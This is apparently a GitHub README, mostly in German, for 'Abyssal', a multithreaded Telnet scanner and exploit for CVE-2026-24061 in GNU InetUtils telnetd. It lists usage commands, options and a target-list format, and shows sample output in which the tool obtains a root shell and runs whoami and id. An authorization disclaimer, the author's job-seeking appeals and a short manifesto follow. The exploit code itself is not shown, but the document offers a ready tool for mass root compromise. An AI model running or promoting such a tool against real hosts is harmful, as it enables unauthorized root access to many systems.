stoerti2/abyssalAbyssal ist ein Hochleistungs-Telnet-Schwachstellenscanner für CVE-2026-24061, der Root-Shells auf anfälligen Systemen mit Falsch-Positiv-Erkennung liefert.
CVE-2026-24061 Telnet-Sicherheitslücken-Scanner & Exploit
Aus den Tiefen erheben wir uns.
Mehrthread-fähig, Falsch-Positiv-Erkennung, interaktive Root-Shell bei Erfolg.
Dieses Projekt wurde von einem erfahrenen IT-Profi mit jahrzehntelanger praktischer Arbeit in Netzwerksicherheit, Infrastruktur und Softwareentwicklung erstellt. Mit 55 Jahren bin ich aktiv auf der Suche nach neuen Möglichkeiten – ob als Vollzeitangestellter, Freelancer oder Projektmitarbeiter. Wenn Sie Erfahrung, tiefes technisches Wissen und eine unkomplizierte Herangehensweise an Problemlösungen schätzen, lassen Sie uns vernetzen.
📫 Ich stehe für Jobangebote weltweit offen.
✉️ Kontakt: [[email protected]]
📖 Verwendung
Grundlegender Scan (Nicht-interaktiv)
python3 abyssal.py -f targets.txt
Interaktiver Modus (Shell bei Erfolg)
python3 abyssal.py -f targets.txt --interactive
Erweiterte Optionen
python3 abyssal.py -f targets.txt -t 20 --interactive -o scan.log
Kommandozeilen-Optionen
Option Beschreibung
-f, --file Datei mit IP-Adressen (Standard: ip_list.txt)
-t, --threads Anzahl paralleler Threads (Standard: 10)
-i, --interactive Interaktiver Modus — Shell auf verwundbaren Systemen
-o, --output Log-Dateiname (automatisch generiert falls nicht angegeben)
-c, --connect-timeout Verbindungs-Timeout in Sekunden (Standard: 5)
-s, --session-timeout Sitzungs-Timeout in Sekunden (Standard: 10)
--version Versionsinformationen anzeigen
-h, --help Hilfemeldung anzeigen
📂 Ziel-Dateiformat Erstellen Sie eine Datei mit einem Ziel pro Zeile:
# Einzelne IPs
192.168.1.100
10.0.0.50
# IP mit benutzerdefiniertem Port
192.168.1.200:2323
# Subnetz (CIDR) — Unterstützung kommt bald
# 192.168.1.0/24
# Kommentare sind erlaubt
172.16.1.25 # Büro-Server
📊 Beispiel-Ausgabe
╔═══════════════════════════════════════════════════════════════════════════════╗
║ ║
║ █████╗ ██████╗ ██╗ ██╗███████╗███████╗ █████╗ ██╗ ║
║ ██╔══██╗██╔══██╗╚██╗ ██╔╝██╔════╝██╔════╝██╔══██╗██║ ║
║ ███████║██████╔╝ ╚████╔╝ ███████╗███████╗███████║██║ ║
║ ██╔══██║██╔══██╗ ╚██╔╝ ╚════██║╚════██║██╔══██║██║ ║
║ ██║ ██║██████╔╝ ██║ ███████║███████║██║ ██║███████╗ ║
║ ╚═╝ ╚═╝╚═════╝ ╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚══════╝ ║
║ ║
║ Abyssal - CVE-2026-24061 Telnet Vulnerability Scanner ║
║ "From the depths, we rise." ║
║ ║
║ Built by: Klaus Baumdick ║
║ Contact: [email protected] ║
║ Status: Open for new opportunities worldwide ║
║ ║
╚═══════════════════════════════════════════════════════════════════════════════╝
⚠️ INTERACTIVE MODE ENABLED!
On REAL login prompt or shell, control will be passed to you.
False positives are automatically detected and ignored.
Press CTRL+C to abort.
Starting scan with 10 parallel threads
Total: 100 targets to test
============================================================
🎯 REAL ROOT SHELL (#) ON 192.168.1.100:23 OBTAINED!
============================================================
>>> You now have shell access!
>>> Execute any commands (whoami, id, ls, etc.)
>>> Type 'exit' or press CTRL+C to close
------------------------------------------------------------
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
# exit
[*] Session on 192.168.1.100:23 closed.
============================================================
SCAN COMPLETED
============================================================
Duration: 45.23 seconds
Targets tested: 100
📊 SUMMARY:
✅ REAL VULNERABLE: 15
🔒 PROTECTED: 42
❓ FAILED: 23
🌐 UNREACHABLE: 20
⚠️ FALSE POSITIVES: 0
🚨 SECURITY WARNING:
15 system(s) are REALLY vulnerable to CVE-2026-24061!
→ Disable or patch Telnet immediately!
→ Use SSH as a secure alternative!
⚠️ Disclaimer
This tool is for authorized security testing and educational purposes only.
Only use on systems you own or have explicit written permission to test
Unauthorized access to computer systems is illegal
The author assumes no responsibility for misuse of this tool
Use responsibly and at your own risk
📝 Lizenz
Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.
🤝 Kontakt
Klaus Baumdick 📫 E-Mail: [email protected]
🔗 GitHub: github.com/stoerti2
📌 Status: Offen für neue Möglichkeiten weltweit
📚 Referenzen
CVE-2026-24061
GNU InetUtils Telnetd Sicherheitslücke
git clone https://github.com/stoerti2/abyssal.git
#┌────────────────────────────────────────────────────────────────────────┐
#│ │
#│ ███████╗████████╗ ██████╗ ███████╗██████╗ ████████╗██╗ │
#│ ██╔════╝╚══██╔══╝██╔═══██╗██╔════╝██╔══██╗╚══██╔══╝██║ │
#│ ███████╗ ██║ ██║ ██║█████╗ ██████╔╝ ██║ ██║ │
#│ ╚════██║ ██║ ██║ ██║██╔══╝ ██╔══██╗ ██║ ██║ │
#│ ███████║ ██║ ╚██████╔╝███████╗██║ ██║ ██║ ██║ │
#│ ╚══════╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ │
#│ │
#│ "old school, still root" │
#│ "stoerti - the jobless hacker" │
#│ │
#│ ┌──────────────────────────────────────────────────────────────┐ │
#│ │ 40 years in the trenches. │ 6 months unemployed in DE. │ │
#│ │ They fired the one who knew. │ This is my legacy. │ │
#│ │ -- no patches for reality -- │ │
#│ └──────────────────────────────────────────────────────────────┘ │
#│ │
#└────────────────────────────────────────────────────────────────────────┘
Was ist Grindware?
Grindware ist Software, die existiert, weil mich niemand dafür bezahlt, die Dinge zu bauen, die wirklich zählen.
Ich bin seit sechs Monaten arbeitslos. Nicht, weil ich nicht programmieren kann – sondern weil der Markt sich nicht mehr für Fähigkeiten interessiert. Es interessiert sich für Buzzwords, Zertifikate und wen man kennt. Also baue ich, anstatt auf einen Job zu warten, der nie kommt.
Grindware ist das Ergebnis davon.
Aus Notwendigkeit gebaut – nicht für Gewinn, nicht für Investoren, nicht für eine Produkt-Roadmap. Gebaut, weil etwas existieren musste und niemand sonst es bauen würde.